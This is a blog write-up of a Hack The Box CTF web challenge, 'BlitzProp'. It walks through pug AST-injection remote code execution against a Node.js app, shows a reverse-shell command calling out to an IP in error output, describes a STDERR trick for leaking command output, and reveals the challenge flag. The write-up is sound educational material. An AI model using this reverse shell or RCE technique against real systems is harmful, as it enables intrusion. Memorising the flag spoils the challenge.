My blog
From 19th April 2021 - 23rd April 2021 Hack The Box ran their “Cyber Apocalypse” CTF.
The event was a lot of fun! It ran from Monday - Friday but I managed to get a few hours in each night after work.
I thought I’d do a little write up for one of the challanges, BlitzProp, as the solution I stumbled upon seemed interesting. I’m not sure if this is the intended way to solve the challenge, at the time of writing this the CTF is still ongoing, so I am looking forward to reading writeups from others who solve this challenge.
This challenge was titled BlitzProp.
Like all other challenges in the Web category, we are provided with a dockerized target which can be spun up on demand. For this challenge, we are also given some source code to download.
To begin with I opened the website just to get a visual idea of what I’ve got to work with:
The page is pretty basic. There is one area to input text along with a “Submit” button.
There are four song titles we can enter. Entering one of these causes the text at the bottom to show Hello guest, thank you for letting us know!
Inputting invalid text results in the text at the bottom showing Please provide us with the name of an existing song
Ok, so at this point it’s time to take a look at the source code. My first step is usually to tree
the source folder to get an overview of what we have to work with:
Lets look at the entrypoint.sh
file to try to gather some information about how the docker instance is created:
From this we can see that the flag for this challenge lives under /app/flag
with some random alphanumeric characters at the end. Good to know.
Next, lets look at the Dockerfile
. This reveals that the site is running a node-js application.
Next, lets look at the index.js
file
From this we can gather that when the submit button is pressed, a POST
call is made to the /api/submit
endpoint.
The function for this endpoint checks if the song we passed in the request body matches one of the expected song names. A different response is generated dependant on whether or not the request we pass includes one of the expected song names.
At this point a few things stand out:
includes
call. This means we have some freedom in what we pass to the endpoint, so long as we include one of the song names somewhere in the request.#{user}
variable.pug.compile
callSo at this point, my thoughts were, “How do I inject a value for the user
variable here? Can I inject a command such as ls /app/flag*
and get the application to execute the command and return the output to me as part of the response? What does pug.compile
do?”
So I started doing some research on Google. I am still a beginner when it comes to Web Application exploitation, but I’ve been gradually learning thanks to Hack The Box.
While looking into the pug
module I stumbled across a very interesting article on gaining Remote Code Execution (RCE) using Abstract Syntax Tree (AST) injection: https://blog.p6.is/AST-Injection/
What really stood out was the section on the pug
module: https://blog.p6.is/AST-Injection/#Pug
The author provides a python script which sends a POST
request to a vulnerable endpoint. This request causes the vulnerable endpoint to execute some code, providing us with a shell.
I wasn’t 100% sure if this exploit would work against the endpoint, but it only takes a minute to try it out so I figured it was worth a shot!
So, after running the script against the endpoint, I entered a valid song and pressed ‘Submit’. This time, I get a status 500 Response
But what’s really interesting is what we get back as the response!
Error: Command failed: bash -c 'bash -i >& /dev/tcp/10.10.14.205/3333 0>&1'
/bin/sh: bash: not found
on line 1
at checkExecSyncError (node:child_process:707:11)
at Object.execSync (node:child_process:744:15)
at eval (eval at wrap (/app/node_modules/pug-runtime/wrap.js:6:10), <anonymous>:13:63)
at template (eval at wrap (/app/node_modules/pug-runtime/wrap.js:6:10), <anonymous>:17:7)
at /app/routes/index.js:16:81
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
at next (/app/node_modules/express/lib/router/route.js:137:13)
at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3)
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
at /app/node_modules/express/lib/router/index.js:281:22
So at this point I know that I’ve got RCE on this target! Now, what happens if I change the script so that execSync
runs ls /app/flag*
?
We get back a 200 response with Hello guestndefine, thank you for letting us know!
Ok so it looks a little messed up, but we’re not getting the output from the ls /app/flag*
command in the response unfortunately.
So at this point I took some time to think, there’s really only two things to consider now:
After some thought I realised that, while we are restricted by the fact that we can only get output if the command fails, there is a way we can work around this. We need to do two things to achieve this:
This can be done really easily in bash. If we modify the command so that it is ls /app/flag* 1>&2 && exit 1
then we can redirect the output of ls /app/flag*
to STDERR (achieved by the 1>&2
part) and have the command return an exit code of 1 (achieved by the exit 1
part). This should now mean that the execSync
call will interpret the command as failing, and the checkExecSyncError
error handling should return the STDERR output to us!
Perfect! While going back through this challenge for this write-up, I used ls /app*
instead of ls /app/flag*
by mistake, so here is the truncated output:
Error: Command failed: ls /app/* 1>&2 && exit 1
/app/flagz8aiD
... truncated
css
images
js
/app/views:
index.html
on line 1
at checkExecSyncError (node:child_process:707:11)
at Object.execSync (node:child_process:744:15)
at eval (eval at wrap (/app/node_modules/pug-runtime/wrap.js:6:10), <anonymous>:13:63)
at template (eval at wrap (/app/node_modules/pug-runtime/wrap.js:6:10), <anonymous>:17:7)
at /app/routes/index.js:16:81
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
at next (/app/node_modules/express/lib/router/route.js:137:13)
at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3)
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
at /app/node_modules/express/lib/router/index.js:281:22
Well, now we have the file for the flag: /app/flagz8aiD
. All we have to do is get its contents! We can do that easily using cat /app/flagz8aiD 1>&2 && exit 1
And there we have it, the flag is CHTB{p0llute_with_styl3}
Error: Command failed: cat /app/flagz8aiD 1>&2 && exit 1
CHTB{p0llute_with_styl3} on line 1
at checkExecSyncError (node:child_process:707:11)
at Object.execSync (node:child_process:744:15)
at eval (eval at wrap (/app/node_modules/pug-runtime/wrap.js:6:10), <anonymous>:13:63)
at template (eval at wrap (/app/node_modules/pug-runtime/wrap.js:6:10), <anonymous>:17:7)
at /app/routes/index.js:16:81
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
at next (/app/node_modules/express/lib/router/route.js:137:13)
at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3)
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
at /app/node_modules/express/lib/router/index.js:281:22
This was a really fun challenge. The folks at Hack The Box have done a fantastic job with the CTF, I’m looking forward to doing more in the future!